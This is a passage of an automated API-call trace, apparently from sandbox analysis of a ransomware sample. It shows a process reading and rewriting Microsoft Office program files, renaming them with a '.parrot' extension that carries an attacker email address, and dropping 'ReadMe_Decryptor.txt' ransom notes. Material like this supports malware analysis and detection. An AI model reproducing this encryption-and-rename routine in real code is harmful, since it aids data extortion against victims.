(hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46d9e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.062] CloseHandle (hObject=0x288) returned 1 [0184.062] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0184.062] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b4908 [0184.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0184.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0184.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.064] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0184.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0184.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0184.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0184.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0184.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0184.068] GetFileType (hFile=0x288) returned 0x1 [0184.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0184.126] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8690, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.126] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.126] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0184.128] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.128] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8578, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x8578, lpOverlapped=0x0) returned 1 [0184.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0184.129] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0184.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0184.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0184.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0184.129] GetLastError () returned 0x0 [0184.131] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0184.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0184.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0184.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0184.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0184.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3198458 [0184.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0184.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0184.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0184.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0184.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0184.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0184.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0184.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2294050 [0184.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0184.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2296fe8 [0184.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2294050 | out: hHeap=0x5b0000) returned 1 [0184.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x3150048 [0184.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296fe8 | out: hHeap=0x5b0000) returned 1 [0184.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x22e80a8 [0184.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0184.135] WriteFile (in: hFile=0x288, lpBuffer=0x22e80c0*, nNumberOfBytesToWrite=0x8698, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x22e80c0*, lpNumberOfBytesWritten=0x18f1c4*=0x8698, lpOverlapped=0x0) returned 1 [0184.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e80a8 | out: hHeap=0x5b0000) returned 1 [0184.139] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8690, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.139] CloseHandle (hObject=0x288) returned 1 [0184.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0184.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b4908 [0184.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0184.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0184.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0184.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0184.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0184.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0184.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0184.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0184.141] GetFileType (hFile=0x288) returned 0x1 [0184.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0184.152] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c344, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.152] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.152] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0184.153] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.153] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c22c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x4c22c, lpOverlapped=0x0) returned 1 [0184.156] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0184.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0184.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0184.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0184.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0184.157] GetLastError () returned 0x0 [0184.168] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0184.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0184.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0184.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0184.169] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0184.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0184.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0184.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0184.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0184.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0184.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0184.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2294050 [0184.171] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0184.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2296fe8 [0184.171] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2294050 | out: hHeap=0x5b0000) returned 1 [0184.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x3150048 [0184.171] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296fe8 | out: hHeap=0x5b0000) returned 1 [0184.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x22d8068 [0184.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0184.172] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3150048 [0184.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0184.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x22d8068 [0184.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0184.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x3198458 [0184.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0184.176] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x22d8068 [0184.176] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0184.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x3198458 [0184.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0184.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x31e43a8 [0184.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0184.189] WriteFile (in: hFile=0x288, lpBuffer=0x31e43c0*, nNumberOfBytesToWrite=0x4c348, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x31e43c0*, lpNumberOfBytesWritten=0x18f1c4*=0x4c348, lpOverlapped=0x0) returned 1 [0184.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e43a8 | out: hHeap=0x5b0000) returned 1 [0184.198] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c344, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.198] CloseHandle (hObject=0x288) returned 1 [0184.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0184.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b4908 [0184.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0184.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0184.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0184.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0184.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0184.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0184.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0184.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0184.204] GetFileType (hFile=0x288) returned 0x1 [0184.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0184.215] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x150b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.215] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.215] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0184.216] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.217] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14fa0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x14fa0, lpOverlapped=0x0) returned 1 [0184.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0184.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0184.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0184.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0184.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0184.219] GetLastError () returned 0x0 [0184.222] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0184.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0184.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0184.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0184.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0184.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) 